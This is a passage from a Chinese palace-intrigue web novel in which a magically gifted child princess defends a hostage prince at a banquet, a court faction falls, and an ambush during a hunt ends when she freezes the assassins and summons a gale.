公孙越小脸一白,抬头看去,只见一个锦衣华服的紫衣少年站在不远处,正一脸不屑地看着自己。
萧宁珣眉头皱起,顾承霄?他的腿好了?也是,自他上次来王府找自己的麻烦,时间也够久的了。
顾承霄上上下下打量着公孙越,声音越发高了:“你父皇倒是打得一手好算盘,把个不要了的儿子送来当质子,你跟那三座城池有什么区别?”
“居然还好意思穿着皇子服饰坐在这里?我若是你啊,就找个地缝钻进去,省得在这儿丢人现眼!”
公孙越垂着头,一言不发。
萧宁珣走到公孙越身旁:“顾公子,今日是舍妹拜师之喜,帝师府邸,你在这里如此言语刻薄,品评他国皇子,于仪不雅,于礼不合,失了分寸了。”
顾承霄一看见他,便想起自己被马踩断的腿,养了足足几个月才好!心头火噌的一下窜起:
“萧宁珣,你如今已是文慧伯了,有爵位在身,如此公然袒护一个他国质子,不怕连累宁王府吗?”
公孙越抬起头看着萧宁珣,手足无措。
萧元珩微微一笑:“我宁王府如何,就不劳你一个户部尚书之子操心了。”
顾承霄见宁王开口,不敢再说,行了个礼,转身而去。
萧宁珣低头看着公孙越,轻声道:“别怕。”
公孙越眼圈一红,轻轻点了点头。
这是第一次,有人在众人面前护着自己。
有人撑腰的感觉,真好啊。
宋敬贤牵着团团的手,走了进来。
他穿着一身深紫色儒袍,一头银发梳得一丝不苟,走到主位前站定,团团则在他面前的蒲团上乖巧跪好。
管家高唱:“拜师仪式,始!”
正在寒暄交谈的众人都安静下来。
“一拜,尊师重道,传承薪火!”
“二拜,敏而好学,不辱师门!”
“三拜,师徒一心,共证大道!”
他每喊一句,团团便对着宋敬贤磕一次头。
三拜礼毕,侍女端上备好的敬师茶,团团捧起茶杯,高举过头:“老师,请用茶!”
宋敬贤含笑接过,浅饮一口,将茶杯放在案上,微微俯身,亲手将团团扶了起来。
宁王一家面带微笑地注视着自家小团子,满脸都是自豪和欣慰。
公孙越睁大了眼睛,看着站在人群中央的团团。
听闻这个老先生是帝师,团团啊,你的运气可真好。
宋敬贤看着团团:“为师望你,永葆赤子之心,以慧眼观世,以善心度人。”
“我记住了!”团团用力点头。
管家高声宣布:“礼成——!”
拜师仪式结束,宾客们纷纷上前道贺。
帝师收徒,轰动京城,所有高门显贵,或遣人亲至,或重礼相贺,就连皇帝,都恩赐了墨宝:琢玉成器。
一番热闹之后,宋敬贤瞥了一眼独自站在角落里,低垂着头的公孙越:“请诸位入席。”
宴席开始,觥筹交错,一派祥和。
周景安看着众星捧月的团团,心中暗恨,这个臭丫头!
一转头看到了坐在另一桌,正闷闷不乐的顾承霄。
他走过去,坐在顾承霄身旁:“顾兄,你也太沉不住气了,怎能当着宁王的面那般说萧三呢?”
顾承霄喝了一杯闷酒:“我就是看他不顺眼!这宁王府也不知是走了什么运了。”
“原本呢,宁王一病不起,兄弟三人都与残废无异,眼看在这京城就快立不住了。”
“现在倒好,一个个莫名其妙全好了!还都立功受赏,加官进爵!那萧三,不过一个庶子而已,从前与我同在一个书院时,有几人看得起他?”
“整话都说不出来!后来居然进了国子监!又拜了云崖先生为师,从此一鸣惊人了!”
他越说越气,将杯中酒一饮而尽:“你叫我怎么咽得下这口气!”
周景安心中暗喜,好啊!正好我也看他家那个臭丫头不顺眼!
上一次让我在父亲和帝师面前丢了那么大的人,这口气我还没出呢!
他凑近顾承霄,低声道:“顾兄,那大夏质子如今是郡主伴读,你我惹不起宁王府,还惹不起他吗?”
“他若是出了大丑,宁王府的脸面可就不好看了。他一个大夏质子,宁王府就算有心护着他,也不敢太过。不妨这样……”
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顾承霄听完,歪头看了他一眼:“可以啊周兄,既然你我同仇敌忾,那便依你所言。”
片刻后,周景安笑吟吟地坐到公孙越身旁:“小殿下,今日是郡主拜师的好日子,你是她的伴读,难道不该表示一下吗?”
公孙越看着他,攥紧了衣袖,板着脸摇了摇头。
周景安嘴角一扯,起身站起,面向众人,高声道:
“诸位!大夏皇子殿下方才亲口对我说,他愿当众献技,舞一曲大夏著名的祈福舞,给帝师和嘉佑郡主贺喜,为大家助兴!”
满场皆是一静,众人的目光齐刷刷落在公孙越的身上。
许多人的脸上露出了玩味的笑容。
一国皇子当众作伶人之舞,无论是对公孙越还是大夏,都是极大的羞辱。
公孙越猛地抬起头,脸色煞白,张口便欲反驳。
但周景安根本没给他机会:“听闻大夏的祈福舞精妙绝伦,殿下既有此雅兴,我等当真是有眼福了!殿下年纪虽小,诚心却大,真是佩服啊!”
顾承霄立刻附和:“听闻大夏的祈福舞,需赤足踏过五谷,意为五谷丰登,故而灵验无比。”
“来人啊!在这地上撒上五谷!请殿下为帝师和郡主,也为我烈国的百姓,诚心祈福!”
早已安排好的下人立刻提来一袋豆米,“哗啦”一声,倒在厅堂中央的空地上,薄薄铺开了一层。
细看之下,那豆米中竟特意掺入了许多细碎坚硬的核桃壳,边缘锐利,可以想见,若当真赤足踩入,必会被扎得皮开肉绽。
几个年轻的权贵子弟开始帮腔:“跳吧!皇子殿下!”
“都给您准备好了,岂能不跳?大夏皇子,请吧!”
顾承霄脸上露出了讥讽得意的笑容。
周景安的眼神中闪烁着恶毒的快意。
公孙越小小的身子微微发抖,泪水在眼眶里打着转,却死死咬着嘴唇不让它掉下来。
萧宁珣冷冷的看着顾承霄,妹妹的拜师宴,他本不想公开与他争吵理论,但也绝不能眼看着公孙越如此受辱。
他刚想开口,团团拍着小手,声音清脆:“好啊!周景安你的主意真好!”
第223章 应当尽早下手
宁王一家惊讶地看向团团。
公孙越心里一沉,团团,你竟然也?
宋敬贤看着团团,面带审视。
周景安先是一怔,随即笑道:“郡主过奖,不过是……”
团团站起身,噔噔噔跑到他面前,仰起小脸,大声道:
“周景安,你懂得真多!不过你记错啦!我在大夏的时候可是亲眼见过的,他们那里最灵验的‘祈福舞’,可不是踩着豆子跳的哦。”
她顿了顿:“是要光着脚,踩着烧红的炭火跳才行!跳得越久越管用!小越越年纪太小了,肯定跳不了。”
萧宁珣和二哥对视了一眼,都是一脸疑惑,妹妹啊,你何时见过?在大夏时,咱们明明一直都在一起啊!
团团接着道:“不过你都这么大了,肯定可以的!”
“今日是我的拜师宴,你既然这么诚心想让我高兴,还想为烈国祈福,那你来给大家跳这个炭火祈福舞好不好?“
“可简单了,我这就教你,一下下就学会啦!”
周景安脸上的笑容瞬间僵住,脸色转白:“你休要胡说八道!大夏哪有这种舞!”
团团小嘴一撇,理直气壮:“我去过大夏啊,我当然知道!你又没去过,你怎么知道没有?难道你比我这个仙使还懂吗?”
“你!”周景安被她噎得嘴唇直哆嗦,却一个字也说不出来。
“噗——”不知是谁先忍不住笑出了声。
渐渐地,哄笑声在宾客中低低地传开。
宋敬贤低头微笑。
公孙越的小脸上绽放着光彩,团团!
宁王一家互相看了看,都忍不住低声笑了出来。
程如安摇了摇头,这孩子!
萧元珩一脸骄傲,不愧是我的女儿!三言两语便解了公孙越的困局,还能以其人之道还治其人之身。
萧宁珣和萧宁辰都忍不住摇了摇头,团团啊,你可真行,张嘴就来。
团团不再理会周景安,哒哒哒的又跑到了顾承霄的面前。
顾承霄心头一颤,这小丫头来干嘛?
团团仰起头看着他,嘻嘻一笑:“我知道你的秘密哦!”
顾承霄心头一突,她真的知道?
随即镇静下来,她定是在诈我!她怎么可能知道!
他正色道:“我顾承霄光明磊落,从无什么秘密不可宣之于口!”
团团笑了,酒窝深深:“这可是你说的哦!”
“你不是从小就爱穿女孩子的漂亮裙子吗?你爹爹知道以后,打了好多回你的手心,你都改不了!”
众人顿时一片哗然。
“顾尚书之子竟然私下穿女子衣裙?“
“顾大人还知道此事?“
“天哪,不会吧,堂堂七尺男儿,怎会有如此癖好?”
无数道目光针一样扎在顾承霄身上。
他脸色惨白,冷汗涔涔:“你胡说八道!信口雌黄!”
团团根本不接他的话茬,继续道:“你院子里的丫鬟们都知道!你还偷偷给了她们每人十两银子,不让她们往外说呢!”
“嚯!此事看来不假。”
“是啊,连院子里伺候的人都知道!”
顾承霄只觉得天旋地转,浑身的血液都凉了。
他指着团团,强撑着尖叫:“污蔑!你这全都是污蔑!有本事你拿出证据来啊!”
团团抬了抬小下巴:“你要证据?有啊!你现在里面,不就穿着一件红色绣着蝴蝶的肚兜嘛!”
“你掀开衣服,让大家看看不就知道了嘛!”
这下厅里彻底炸开了锅。
所有人的眼睛都死死地盯在顾承霄的胸口,仿佛要透过外袍,看清楚那件红色的肚兜!
顾承霄“啊”的怪叫一声,满脸惊骇,看着团团如同看见了鬼魅。
他面如死灰,下意识抬起手,死死护住了自己的胸口。
“看来真的是呢!”
“天哪,居然还穿着女子的肚兜出来!”
“顾尚书这老脸,真是丢得一干二净了!”
顾承霄眼白一翻,直挺挺向后便倒,“砰”的一声砸在地上,晕**过去。
宋敬贤站了起来:“来人,顾公子喝多了,将他送回顾府。“
“是!”
团团走到公孙越面前,拉起他的手:“走,跟我坐一起!”
公孙越这才从震惊中缓过神来
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,随着她来到了主桌边。
团团看着宋敬贤:“老师,他是我的伴读,可以跟我坐在一起吗?坐别处我怕有人欺负他。”
宋敬贤笑着点了点头。
下人端来锦凳,放在团团身旁,公孙越坐了上去。
他拉了一下团团的手,眼睛亮晶晶的:“谢谢你啊,团团。”
团团笑了,塞了一块桂花糖给他。
拜师宴结束,公孙越回到了住所。
案上只有一盏孤灯,细小的火焰摇曳不定,在墙壁上投下扭曲晃动的黑影。
宋府中的衣香鬓影,热闹喧嚣明明只是半晌之前,却已遥远的如同一个梦境了。
他独自站在屋子中央,小小的身影被昏黄的烛火拉得忽长忽短。
太监走进来,公孙越回过头来:“于公公,笔墨。”
于公公转身出去,不多时,文房四宝便都铺在了案上。
公孙越坐在案边:“研磨。”
“是。”
公孙越提笔蘸墨,在一张纸上画了起来。
很快,一张标注了许多名称的图便跃然纸上,厨房,马厩,花厅……
静兰苑,养正轩,珣玉斋……
最后一笔落下,他吹了吹,片刻后,墨迹干了。
他细心地将纸折起,收进一个信封,递给于公公:“送给父皇。”
于公公伸手去接,公孙越却捏住了另一端没有放手。
于公公一怔,抬眼望去,只见公孙越面无表情地看着自己。
“杂家糊涂了。”他伸手从怀中掏出一个小瓷瓶,递了过去:“陛下心系殿下,这药早就送过来了。”
公孙越接了过来,这才松开了捏着信的手。
于公公将信收起:“杂家又要惹您厌了,如今殿下已获得宁王一家的信任和维护,应当尽早下手。”
公孙越冷冷地看了他一眼:“父皇命我接近郡主,探知宁王府的一切,至今我连书房都还未进过,岂能就此仓促动手?”
“该怎么做,我自有主张。”
于公公微微一笑:“殿下自然是心中有数的。云妃娘娘的身子一直不大好,还眼巴巴地盼着殿下回去呢。”
第224章 走,别管我
于公公退下后,屋内又只剩下了公孙越一人。
他打开瓶塞,将里面的一颗深褐色药丸倒入口中,和着唾液干咽了下去。
喉间划过一丝苦涩,随之而来的是一股熟悉的凉意,驱散了骨髓深处隐隐传来的痛痒。
又熬过了一个月。
他下意识将瓷瓶塞入袖口,却碰到了一样东西。
他微微一怔,取了出来。
正是今日团团塞给他的那颗桂花糖。
他凝视着自己的掌心,手猛地握紧。
巫罗那双毒蛇般的眼睛仿佛再度出现在眼前。
“陛下,此子心智早熟,聪慧太过,不信鬼神。”
“他并非虔诚信徒,不过是敷衍贫道而已,做不得神童,还是另选他人来担此大任吧。”
父皇看了我一眼,眼神瞬间冰冷。
“那依国师看,此子,还有何用?”
巫罗看着我,嘴边的笑容让我心里发凉:“他既如此擅于伪装,险些将贫道都蒙骗了过去,不如,便让他一直如此吧。”
“他已六岁,贫道新制的秘药,可令其身形、声音永驻在他今日之态。请陛下细想,一个稚龄幼童,谁会防备?”
父皇也笑了,笑得我害怕:“国师果然好手段,好心机!既如此,便依国师所言。”
从此,我便进入了无间地狱。
随着年龄增长,服了那秘药后越来越难熬。
每一次都仿佛有无数根烧红的钢针从骨髓深处钻出,搅动着,撕扯着,浑身骨骼都会咯吱作响。
这样的日子整整过了七年,我的身体终于永远停在了六岁。
当巫罗告诉我,不必再服那秘药的时候,我还天真地以为就此可以脱离苦海了。
没想到。
“这是蚀骨丹,每月你必须服下一颗。否则这六岁的形态便维持不住。”
我看着他:“若是我不服呢?”
他微微一笑:“那便会周身骨骼筋脉寸断,状如凌迟。”
从此我便在这这副永远长不大的皮囊里,每日与孩童厮混,试图忘记,自己都已经十五了。
这些年,支撑着我活下来的,唯有母妃而已。
若是没有母妃,我恐怕早就自我了断了。
可是,我必须撑下去,否则,母妃怎么办呢?
她那么美丽,那么柔弱,在那弱肉强食的深宫中,她没有家世,没有宠爱,只有我了。
她总是抱着我流泪,我从来没有告诉过她,我过得有多苦,但我明白,她都知道。
来烈国之前,父皇给了她妃位,说会让她从此再不受人欺凌,只要我能杀了宁王。
我去跟她道别,她在我耳边说,走,别管我。
可是,我怎么能不管呢,这世上唯一对我好的人。
好累啊,药劲上来了。
不服这药,我会死。
服了这药,我生不如死。
公孙越将桂花糖剥开,放入口中,香甜的滋味在口中融化开来。
“叫我团团吧,我叫你小越越好不好?”
“嘘!小声点儿!别让雪衣听见,它又不知道!”
“都流血了,疼不疼啊?”
团团,我从来没有见过,这么聪明可爱的小孩。
跟这颗桂花糖一样,那么甜,那么好。
“爹爹!我要玩举高高!”
我真的要杀了她的爹爹吗?
公孙越踉跄着扑倒在床上,睡了过去。
次日,萧宁远和萧宁珣休沐在家,团团开心得不得了,拉着两个哥哥去逛街。
萧宁远笑道:“国师出门,我们团团可算是撒了欢了,不用每隔一日便要去一趟国师府了。”
团团使劲点头:“就是!就是!”
她一手拉着大哥,一手拽着三哥,迫不及待地就要往府外冲。
萧宁珣笑着把她捞回来,细心地将小披风上的兜帽给她戴好,仔细看了看:“好看!走吧。”
萧宁远豪迈地笑道:“团团,今日你看中什么,大哥就给你买什么!”
“大哥哥!那个风车好漂亮!”
“买!把那一车都买了!”
“大哥哥,这个泥人捏得好像三哥哥呀!”
“买!把摊子
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上所有的泥人都包起来!”
“大哥哥,你看那个做糖人的小哥哥!”
“买!把那个小哥哥买下来!”
团团:“……”
萧宁珣:“……”
“大哥哥!我是说,他长得好像大三哥啊!”
“哦!”
三人笑得前仰后合,连跟在后面的萧二都忍不住大笑起来。
不过才逛了半条街,跟着的下人怀里已然堆满了各式各样的小玩意儿,连萧二手里都举着个比他的脸都大的彩色风车。
萧宁珣笑着摇头:“大哥,你再这么买下去,咱们府里就能开个杂货铺子了。”
萧宁远不以为意,满脸宠溺:“只要是团团喜欢,便是把整条街买下来又如何?”
他俯身从身旁的摊子上拿起一支镶嵌着珍珠的蝴蝶发钗,在团团鬓边比了比:“这个衬我妹妹,包起来。”
团团咯咯直笑,小脸上绽放着光彩。
萧宁珣细心,看到团团的小鼻子吸了吸:“是不是走累了?前头就是碎金阁,咱们去歇歇,吃点东西好不好?”
“好!”团团立刻点头,拉起两人的大手,“咱们去碎金阁吃好吃的!”
“二叔叔!跟上啊!”
“好嘞!”萧二响亮地应了一声。
几人刚走进碎金阁,掌柜杜清便亲自迎了上来,笑容满面地将他们引至顶楼最好的雅间中。
很快,菜就上齐了,团团刚准备大快朵颐。
雅间的门被轻轻叩响。
几人互相看了一眼,谁?
萧宁珣喊了一声:“请进。”
门被轻轻推开了,一个手持莹白玉笛,一身淡蓝色长衫的年轻男子出现在门口,他唇角含笑,目光径直落在了团团的身上。
萧宁珣眉头皱了起来:“请问阁下是?”
萧宁远更直接:“喂!你这么盯着我妹妹做什么?”
那人这才看了一眼兄弟二人,抬手抱拳:“看来在下运气不错,竟能在此偶遇嘉佑郡主。”
他微微一笑:“在下天机阁少主苏玉衡,特来叨扰。”
第225章 带她进内殿看看
天机阁少主?
萧宁珣和大哥对视了一眼:“原来是苏少阁主,你天机阁胆子不小,年前将九星连**送到王府,如今竟还敢在京城现身?”
苏玉衡笑了笑,用手中玉笛指了指桌旁的空位:“不知可否赏光,容我坐下细说?”
萧宁珣点点头:“请坐。”
萧宁远将团团的锦凳往自己身边拉了拉,团团才不管谁来了呢,又不是熟人。
她正在努力埋头干饭,面前的小碗突然从嘴边滑开,不满意地嘟囔了一句:“大哥哥!”
萧宁远急忙将她的小碗挪到她面前,摸了摸她的头:“好好吃,别理他。”
团团抬头看了一眼苏玉衡,这个人身上没什么特殊的啊,继续低头干饭。
苏玉衡盯着她,唇角勾起,有趣。
萧宁珣眉头微蹙:“少阁主有事不妨直言。”
苏玉衡微微一笑:“在下特为嘉佑郡主而来。”
萧宁远眉毛一挑:“我妹妹才五岁!”
萧宁珣将手放在团团的肩膀上:“我是她三哥,我妹妹还小,少阁主有话同我讲就好。”
“也罢。“苏玉衡嘴里说着,目光却并未从团团身上移开:”年前我送郡主的礼物,不知郡主是否满意?”
团团从饭碗中抬起小脸,大眼睛亮晶晶地看着苏玉衡:“原来那个是你送的呀!谢谢你哦!不过那个牌子是干什么的啊?为什么送给我呢?”
原来那个锦盒,便是眼前这位的手笔!他究竟想做什么?
萧宁远紧盯着苏玉衡,萧二的手在桌子底下按住了刀柄。
苏玉衡道:“猜秘匣盛会上,苏某看到郡主屡破那位大夏神童,深感钦佩。”
“郡主年纪虽小,却是非分明,聪慧异常。我送你天机阁的总令牌,是因为,或许不久以后,郡主能用得上。”
萧宁远有些不耐:“别卖关子了!你天机阁事涉私物坊兵器流失一案,难道不怕朝廷抄了你们,论律问罪吗?”
苏玉衡闻言,直视萧宁远兄弟二人:“苏某今日前来,是因为相信郡主的为人,特来相告一件要事。”
他从袖中取出一封信,递到团团面前:“苏某确信,这个东西,交到郡主手中,比交给任何人都更有用。”
“此信关乎朝局安稳,和许多人的身家性命,该如何处置,全由郡主决断。”
萧宁远和萧宁珣脸色都是一变,什么事情如此严重却要交给团团?
苏玉衡神色有些黯然:“郡主天生一双慧眼。苏某别无他求,只愿郡主能以此物,斩该斩之奸。”
说完,他起身拱手:“苏某言尽于此,不便久留,告辞。”
他来得突然,去得也干脆,转身便走出了雅间。
萧宁珣拿起那封信,打开一看,失声低呼:“这是!”
萧宁远凑了过来,只见信上写着几个朝廷官员的名字,旁边注释着日期和金额。
列于首位的,赫然便是太后的亲兄弟,以前的兵部尚书,现任兵部司郎中的慕容清!
团团见哥哥们瞬间严肃,很是奇怪:“那里面写的是什么啊?”
萧宁珣捋了捋她脑袋上的小呆**:“是很大的麻烦事,不过,团团不用管,有我们在呢。”
“哦!”团团一听,不再多问,夹起菜分别放进两个哥哥的碗里:”那你们吃嘛!”
兄弟二人宠溺一笑:“对!天大的事也得先陪着咱们团团把这顿饭吃完!”
团团甜甜一笑:“就是!”
一行人吃完饭回到王府,将信交给了萧元珩。
萧元珩朝服未脱,转身便再度返回宫中,在紫宸殿与萧杰昀密谈直到半夜。
几日后,一道圣旨震惊朝野。
“慕容氏一族,世受国恩,却罔顾君父,泄露军机,罪证确凿,等同叛国,其心可诛!”
“依律严惩:慕容清等主犯,即日处斩,家产全部抄没入库。”
“男丁革职,流放三千里,妻女一律没为官奴。”
圣旨一下,曾经显赫无比的慕
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容家,顷刻之间,大厦倾倒。
寿成宫内,太后手中的佛珠“啪”的一声断裂,珠子滚落一地。
“去!去请皇帝!就说哀家快不行了,让他看在母子一场的情分上,来见哀家最后一面!快去!”
萧杰昀听到禀告,冷笑道:“将太后请到紫宸殿偏殿。”
“是。”程公公心下了然。
太后形容憔悴,扶着秦嬷嬷来到了偏殿:“皇帝呢?哀家要见皇帝!”
“为什么带我来这里?皇帝是不敢来见哀家吗?”
程公公躬身回道:“请太后稍候。”转身离开。
太后坐立不安地等待着,心急如焚。
片刻后,萧杰昀走了进来。
太后立即扑了上去,不顾礼数地紧紧抓住他的手臂,泪水涟涟:“皇帝!你怎能如此对待慕容家?”
“那是你的外家,是哀家的母族啊!”
“你登基之初,庆王,陈王虎视眈眈蠢蠢欲动,慕容家始终是你的一大助力,他们对你有功啊!皇帝!”
“你如此忘恩负义,赶尽杀绝,就不怕天下人说你刻薄寡恩,不孝不悌吗!”
萧杰昀站得笔直,纹丝不动,静静地看着她声泪俱下。
程公公急忙上来,将她拉开:“使不得啊!太后。”
萧杰昀缓缓开口:“母后,您真的不清楚,朕是因何才动慕容家的吗?”
太后哭声一滞,惊疑不定地看着他。
萧杰昀目光如刀:“朕之所以如此对待慕容家,正是因为他们是您的母家啊!朕的好母后!”
太后目光闪烁,难道他知道了?不!不可能!
当年凤仪宫里的人早就都被料理干净了。
安娘也彻底疯了,疯得人都认不出来了。
这世上除了哀家,再没有其他活人知道了。
“皇帝此言何意?哀家亲手将你抚养长大,有何过错?慕容家对你忠心耿耿,又有何过错?”
萧杰昀目光移开:“程谨言,带她进内殿看看。”
第226章 你早点儿过来啊
“是!太后娘娘,请随老奴来。”
程谨言引着太后走入内殿。
安娘正衣衫整洁坐在床上,面对着墙壁,身体轻轻晃动,口中呓语喃喃。
太后看到她,顿时脚下一软,瘫倒在地。
他真的知道了!全都知道了!
太后失声痛哭。
自己机关算尽,筹谋一生,为了那至高的尊荣位份,更为了慕容家的崛起和显赫。
她踩着多少人的尸骨,用尽了阴私的手段,才将慕容家推上了外戚的巅峰。
没想到到头来,慕容家因她而登顶,却也因她而万劫不复。
如今只剩下竹篮打水,一场虚空。
她不仅毁了自己,更毁了她一心想要护住的母族。
“哈哈!哈哈哈……”太后忽然癫狂地大笑了起来,笑声凄厉而绝望。
笑声惊动了坐在床上的安娘。
她莫名其妙地转过身看着太后:“你是谁?我的孩子呢?阳阳呢?”
萧杰昀走进来:“朕念你的养育之恩,不予追究。”
“你就在寿成宫中,颐养天年吧。程谨言,送她回去。”
“是。”
太后脚步虚浮,跌跌撞撞地走了出去。
萧杰昀走到安娘身边,握住她的手:“安娘,朕为母后,为你,报仇了。”
安娘一脸茫然:“阳阳呢?”
萧杰昀看着她,心中酸楚,想起了那日,她短暂清醒的模样。
团团,若是没有你,安娘不可能有那片刻的清明,说出当**。
自己还将被蒙在鼓里,认贼为母。
此次能将慕容家名正言顺地连根拔起,也是你的功劳。
他微微一笑,团团,皇伯父谢谢你。
这日,宁王府。
团团和公孙越一起蹲在地上看蚂蚁搬家。
她手中拿着一块米糕,用小手揪下来一丢丢,放在蚂蚁群一旁的地上。
很快,一只蚂蚁便爬了过来,碰了碰那块米糕渣滓,转身嗖嗖爬回蚂蚁群中。
“你看你看!”团团聚精会神的看着,”他回去喊别的蚂蚁啦!”
公孙越看得目不转睛:“嗯,他们都来了!”
一群蚂蚁爬到米糕旁边,齐心协力将那块渣滓抬了起来,
团团又揪了一块,放在了原来那块的前面,往前走了几步,蹲下身再放下一块。
很快,米糕渣滓便在地上排成了一排,蜿蜒向上,直到一棵大树底下。
公孙越跟着她:“团团啊,你为什么想让他们把家搬到那棵树下呢?”
“他们好像本来是想搬到那边去的。”他抬手往旁边一指。
团团回道:“那里太低啦!不好!要是下雨,他们的家就会被淹掉了。”
“那棵树高,他们搬过去,才能好好过啊。”
公孙越心尖一颤,团团啊!
你为了一群蚂蚁如此认真地铺路,怕它们被水淹,怕它们无处安家。
可我呢?
他看着团团,心里像是被什么东西堵住了,又酸又涩。
他羡慕极了这群蚂蚁。
如果当年也有这样一个人,能伸把手,把他从那条通往深渊的路上轻轻拉开,该有多好。
他低下头,垂下的眼帘盖住了眼底的潮湿,低声道:“团团,你真好。”
“团团,你蹲在地上看什么呢?”一个熟悉的声音从身后传来。
团团回头一看,起身开心地扑了过去:“汪叔叔!”
汪明瑞将她一把抱起:“不错,比刚回京的时候又沉了些。”
团团搂着他的脖子,看着他的脸,哇,太好看了,怎么看都看不够!
汪明瑞看向公孙越:“这孩子就是你的伴读吧。”
团团点头:“嗯!他就是小越越!”
公孙越不知道汪明瑞的身份,也不知该如何称呼,按什么礼仪行礼,一时间手足无措,小脸通红。
汪明瑞微微一笑:“不必拘礼,你们玩吧,我去书房找元珩。”
他将团团放到地上,摸了摸她的小脑袋,转身走了。
公孙越看着他的背影:“他唤王爷的名字呢。”
团团毫不在意:“对啊!汪叔叔和爹爹可熟啦!”
“哦,”公孙越继续问,”他也是你们烈国的大官吗?”
“我不知道捏!”团团拉起他就跑,“走啦
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!咱们去喂鱼!”
书房。
汪明瑞道:“我刚刚特意去看了一眼那位大夏质子,倒是没看出破绽,就是一个六岁的孩子。”
萧元珩眉头微蹙:”没查出什么吗?”
“倒也不是。”汪明瑞迟疑了一下,“此事令我百思不得其解。”
“大夏那边传来的消息,确实有位皇子名唤公孙越,但是没有排行,也不知其生母是谁。”
萧元珩一脸疑惑:“此话怎讲?”
汪明瑞解释道:“大夏皇宫,无论是夭折的,还是被软禁或身亡的皇子,玉牒上皆有记载。生母、生辰、序齿,一应俱全。”
“但这位‘公孙越’,名字是有了,他离开天启城时,大夏皇帝也亲口承认了他是皇子。可除此之外,一切皆是空白。”
“更蹊跷的是,他临别时除了公孙驰,只去见了新晋的一位云妃。那云妃确曾有过一子,但那位皇子,早在九年前便已夭折了。”
萧元珩眉头紧皱:“看来这个公孙越,来历成谜啊,莫非是公孙驰找来的什么江湖异士,顶了皇子的名送到了这里?”
“公孙驰老谋深算,为了让陛下同意公孙越做团团的伴读,不惜以交换玉玺为由,可见是势在必得。”
“我想不明白的是,他为何如此执意将一个六岁的稚子留在团团身边?这个公孙越究竟有何不同?”
汪明瑞问道:“他做伴读也有些日子了,你没看出什么?”
萧元珩摇了摇头:“言行举止都不过只是个孩子,还和团团相处甚欢,未看出什么异常。”
汪明瑞微微一笑:“看不出来,试一下不就出来了。”
萧元珩也笑了:“正有此意。”
汪明瑞告辞而去。
当晚,公孙越被程如安留在王府用膳。
萧元珩对团团道:“明日爹爹休沐,带你们俩去山里打猎好不好?叫上萧二,再挑几个侍卫,就咱们几个,好好玩上一日。”
团团眼睛一亮:“太好啦!”
她兴奋地看着公孙越:“明日你早点儿过来啊!”
公孙越乖巧的点了点头:“好。”
第227章 安儿,你怎么来了
雾气蒙蒙中,团团趴在浑身是血的萧元珩身上,泪流满面,大声呼喊:“爹爹!爹爹!”
公孙越猛地惊醒。
“殿下,该起了。”于公公不知何时已站到了床边。
公孙越默默洗漱更衣,天光还未亮透,便已走进了宁王府。
萧元珩正给团团系披风的带子。
“小越越!”团团看到他,立刻在父亲的怀里扭动起来,“爹爹,行啦行啦!咱们走吧!”
萧元珩稳稳抱起女儿:“好,咱们走!”
越过公孙越的时候,他伸手随意揉了揉他的头发:“带你们打猎去!”
公孙越垂下头,乖巧应了声“是”,藏在袖中的双手却悄悄攥了起来。
团团坐在萧元珩怀里,公孙越与萧二共乘一骑,后面跟了几名王府的侍卫。
一路策马出城,直奔京城东郊的苍云山。
正值冬日,山林间一片萧索。
马蹄踏过落叶,发出沙沙的轻响。
猎物确实不多,只是偶有灰扑扑的野兔从灌木中惊窜而出,可喜的是个头都不小。
“爹爹!那边!还有一只!”团团兴奋地挥舞着小手,小嗓子喊得格外响亮。
萧元珩由着女儿指挥,挽弓搭箭,不紧不慢。
辰儿带着人就埋伏在附近,且看这位大夏质子今日如何行事吧。
公孙越僵硬地坐在萧二身前,默默地注视着团团和萧元珩,心乱如麻。
宁王今日真的会死吗?他若是**,团团该有多伤心啊。
昨夜的梦境再次出现在眼前。
我这样做真的对吗?那是团团的爹爹啊!
可我若是不做,母妃怎么办?
突然,“嗖——嗖嗖——”
数支**箭毫无征兆地破空而来,直取萧元珩后心!
“王爷!”萧二暴喝一声,猛地将身前公孙越往下一按,同时拔刀出鞘,刀光如匹练般卷向**箭!
“叮叮”几声脆响,**箭被尽数斩落。
十余道黑影从四面八方的枯木山石后窜出,手中钢刀闪着寒光,扑了上来。
果然!
“闭上眼!”萧元珩低喝了一声,随即将团团牢牢护在怀中,宝刀出鞘,刀锋划出一个凌厉的半弧,刹那间便逼退两名近身的刺客。
侍卫们围拢上来,瞬间便结成一个简易的阵型,将萧元珩,和萧二护在中心。
萧二低吼一句:“抓紧!”,杀入战团,他刀势沉猛,瞬间便劈翻两人。
更多的刺客出现,层层包围上来。
他们全然不顾自身,只攻不守,疯狂地压了上来。
眨眼间,几个侍卫便伤了两个,圈子被压迫得越来越小。
公孙越脸色煞白,呼吸急促,紧张地盯着前面的团团。
团团靠在父亲的怀里,闭着眼睛,一声不吭,爹爹这么厉害,坏蛋一会儿就会被打跑的。
混乱中,一名刺客手中短刀毒蛇般递出,直刺萧元珩后背!
公孙越脑子里一片空白,完全没有多想,大喊了一声:“后面!”
萧元珩头都没回,回手一刀,解决了那个刺客。
他深深地看了公孙越一眼。
公孙越心头一跳。
团团听见他的喊叫,睁开了眼睛,回头大喊:“小越越!你怎么了?”
公孙越急忙喊:“我没事儿!你躲好!”
团团扭着小身子往后看去,几个刺客正围着萧二和公孙越,刀光剑影。
她转回身,眼前两个刺客纠缠着爹爹,雪亮的刀光晃到了她的眼睛。
真讨厌!爹爹好不容易有空陪我玩!
她飞快解开绣囊,掏出一个毛笔头扔了出去:“把他们都定住!”
微光一闪,毛笔头消失在半空。
刺客们仿佛同时被数条无形的绳索瞬间捆住了手脚,身体还保持着方才的姿势,却猛地全都失去了平衡。
“砰!砰!砰!”
几声沉重的闷响接连传来。
他们如同被砍倒的木桩,重重摔倒在地,倒下后却依然维持着摔倒前那一瞬间的动作,
举刀的依然举着,踢腿的仍然蹬着,像极了一群被冻僵的提线木偶,只有眼珠在惊恐地乱转,喉咙里发出“嗬嗬”的挣扎声。
公孙越目瞪口呆地看着地上这一群奇形怪状的刺客。
天哪,他们这是怎么了?一起突发怪病吗?
远处隐匿着的于公公眉头一皱,手一挥:“上!”
他身旁的十几个黑衣人猛地站起,向团团一行人冲去。
果然还有后手!
萧元珩从怀中摸出了一枚信炮,拇指抵在底部的机括上,正要用力按下。
团团眉
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头紧皱,气得脸都鼓起来了。
没完了吗你们?就该来一阵大风,把你们全都刮走!
下一瞬——
“呼——!!!”
一股狂暴的飓风,仿佛从九霄云外被硬生生扯落,咆哮着冲向了那群黑衣人。
霎时间,飞沙走石,天昏地暗!
